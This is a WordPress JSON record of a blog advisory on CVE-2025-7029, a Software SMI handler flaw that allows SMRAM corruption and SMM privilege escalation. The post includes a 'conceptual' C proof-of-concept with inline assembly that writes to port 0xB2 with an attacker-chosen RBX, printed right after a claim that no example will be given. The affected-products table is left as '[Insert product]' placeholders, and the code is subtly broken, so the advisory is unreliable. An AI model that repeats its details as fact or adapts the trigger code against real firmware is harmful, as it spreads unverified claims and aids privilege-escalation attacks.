{"id":59511,"date":"2025-07-20T09:08:44","date_gmt":"2025-07-20T09:08:44","guid":{"rendered":""},"modified":"2025-09-16T07:08:56","modified_gmt":"2025-09-16T13:08:56","slug":"cve-2025-7029-a-critical-software-smi-handler-vulnerability-permitting-privilege-escalation","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-7029-a-critical-software-smi-handler-vulnerability-permitting-privilege-escalation\/","title":{"rendered":"<strong>CVE-2025-7029: A Critical Software SMI Handler Vulnerability Permitting Privilege Escalation<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>A critical vulnerability, designated as CVE-2025-7029, has been discovered that poses a significant risk to the integrity of numerous systems. This vulnerability is present in the Software SMI handler (SwSmiInputValue 0xB2), enabling a local attacker to control the RBX register. The RBX register is essential for deriving pointers passed into power and thermal configuration logic, making it a <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-7793-critical-vulnerability-in-tenda-fh451-leading-to-system-compromise\/\"  data-wpil-monitor-id=\"68569\">critical part of the system<\/a>. This <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-8028-critical-vulnerability-in-firefox-and-thunderbird-due-to-incorrect-computation-of-branch-address\/\"  data-wpil-monitor-id=\"73810\">vulnerability is of particular concern due<\/a> to the potential for system compromise or data leakage, making it a high-priority issue for cybersecurity professionals.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-7029<br \/>\nSeverity: High (CVSS Score 8.2)<br \/>\nAttack Vector: Local<br \/>\nPrivileges Required: None<br \/>\nUser Interaction: None<br \/>\nImpact: Arbitrary SMRAM corruption and potential SMM <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-7695-privilege-escalation-vulnerability-in-dataverse-integration-plugin-for-wordpress\/\"  data-wpil-monitor-id=\"69210\">privilege escalation<\/a>, leading to potential system compromise or data leakage.<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-815947004\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 700px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 20px; font-weight: 600; display: flex; align-items: center;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 8px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 40px; height: 40px;\" \/>\r\n    <\/a>\r\n    A new way to communicate\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 12px;\">\r\n    Ameeba Chat is built on encrypted identity, not personal profiles.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 16px;\">\r\n    Message, call, share files, and coordinate with identities kept separate.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 20px;\">\r\n    <li>\u2022 Encrypted identity<\/li>\r\n    <li>\u2022 Ameeba Chat authenticates access<\/li>\r\n    <li>\u2022 Aliases and categories<\/li>\r\n    <li>\u2022 End-to-end encrypted chat, calls, and files<\/li>\r\n    <li>\u2022 Secure notes for sensitive information<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px;\">\r\n    Private communication, rethought.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Download Ameeba Chat<\/a>\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Learn More<\/a>\r\n  <\/div>\r\n<\/div>\r\n<\/div>\n<p>Product | Affected Versions<\/p>\n<p>[Insert product] | [Insert affected version]<br \/>\n[Insert product] | [Insert affected version]<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>The <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-49886-critical-php-local-file-inclusion-vulnerability-in-webgeniuslab-zikzag-core\/\"  data-wpil-monitor-id=\"66127\">vulnerability in the Software SMI handler allows a local<\/a> attacker to control the RBX register. This register is used to derive pointers (OcHeader, OcData) passed into <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2022-43110-critical-unauthenticated-remote-system-configuration-vulnerability-in-voltronic-power-viewpower-powershield-netguard\/\"  data-wpil-monitor-id=\"83119\">power and thermal configuration<\/a> logic. As a result, the attacker can manipulate these pointers to <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-30419-memory-corruption-vulnerability-in-ni-circuit-design-suite\/\"  data-wpil-monitor-id=\"68155\">corrupt SMRAM memory<\/a> arbitrarily. The <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-46713-buffer-overflow-vulnerability-in-sandboxie-s-memory-allocation-subsystem\/\"  data-wpil-monitor-id=\"68568\">buffers are not validated before performing multiple structured memory<\/a> writes based on OcSetup NVRAM values, enabling the attacker to escalate privileges within the System Management Mode (SMM).<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-940657455\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>While we won&#8217;t provide a specific exploitation example for ethical reasons, an attacker would likely use a crafted payload to manipulate the SwSmiInputValue and control the RBX register. This could be achieved through a malicious application or <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-53084-critical-cross-site-scripting-vulnerability-in-wwbn-avideo-14-4\/\"  data-wpil-monitor-id=\"68057\">script running locally on the vulnerable<\/a> system. The payload would aim to manipulate the OcSetup NVRAM values, <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-25214-race-condition-vulnerability-in-wwbn-avideo-14-4-leading-to-arbitrary-code-execution\/\"  data-wpil-monitor-id=\"68058\">leading to arbitrary<\/a> SMRAM corruption and subsequent SMM privilege escalation.<\/p>\n<pre><code class=\"\" data-line=\"\">#include &lt;stdio.h&gt;\n#include &lt;stdlib.h&gt;\n\/\/ This is a conceptual example and may not work as intended\nint main() {\nunsigned long *ptr;\nunsigned long rax, rbx, rcx, rdx;\nptr = mmap(0, 4096, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE, -1, 0);\n\/\/ Set rbx to the address of our buffer\nrbx = (unsigned long)ptr;\n\/\/ SwSmiInputValue 0xB2\nrax = 0xB2;\nrcx = 0;\nrdx = 0;\n\/\/ Trigger the vulnerability\nasm volatile(\n&quot;mov %0, %%rax\\n&quot;\n&quot;mov %1, %%rbx\\n&quot;\n&quot;mov %2, %%rcx\\n&quot;\n&quot;mov %3, %%rdx\\n&quot;\n&quot;out %%al, $0xb2&quot;\n: : &quot;r&quot;(rax), &quot;r&quot;(rbx), &quot;r&quot;(rcx), &quot;r&quot;(rdx) : &quot;rax&quot;, &quot;rbx&quot;, &quot;rcx&quot;, &quot;rdx&quot;\n);\nreturn 0;\n}<\/code><\/pre>\n<p>The above example is a conceptual representation that illustrates how an attacker could <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-46334-critical-vulnerability-in-git-gui-enables-potential-system-compromise\/\"  data-wpil-monitor-id=\"70749\">potentially exploit the vulnerability<\/a>. It is very important to apply the recommended mitigation measures to prevent exploitation of this vulnerability.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview A critical vulnerability, designated as CVE-2025-7029, has been discovered that poses a significant risk to the integrity of numerous systems. This vulnerability is present in the Software SMI handler (SwSmiInputValue 0xB2), enabling a local attacker to control the RBX register. The RBX register is essential for deriving pointers passed into power and thermal configuration [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"footnotes":""},"categories":[1],"tags":[],"vendor":[],"product":[],"attack_vector":[76],"asset_type":[],"severity":[],"exploit_status":[],"class_list":["post-59511","post","type-post","status-publish","format-standard","hentry","category-uncategorized","attack_vector-privilege-escalation"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/59511","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/comments?post=59511"}],"version-history":[{"count":8,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/59511\/revisions"}],"predecessor-version":[{"id":75658,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/59511\/revisions\/75658"}],"wp:attachment":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/media?parent=59511"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/categories?post=59511"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/tags?post=59511"},{"taxonomy":"vendor","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/vendor?post=59511"},{"taxonomy":"product","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/product?post=59511"},{"taxonomy":"attack_vector","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/attack_vector?post=59511"},{"taxonomy":"asset_type","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/asset_type?post=59511"},{"taxonomy":"severity","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/severity?post=59511"},{"taxonomy":"exploit_status","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/exploit_status?post=59511"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}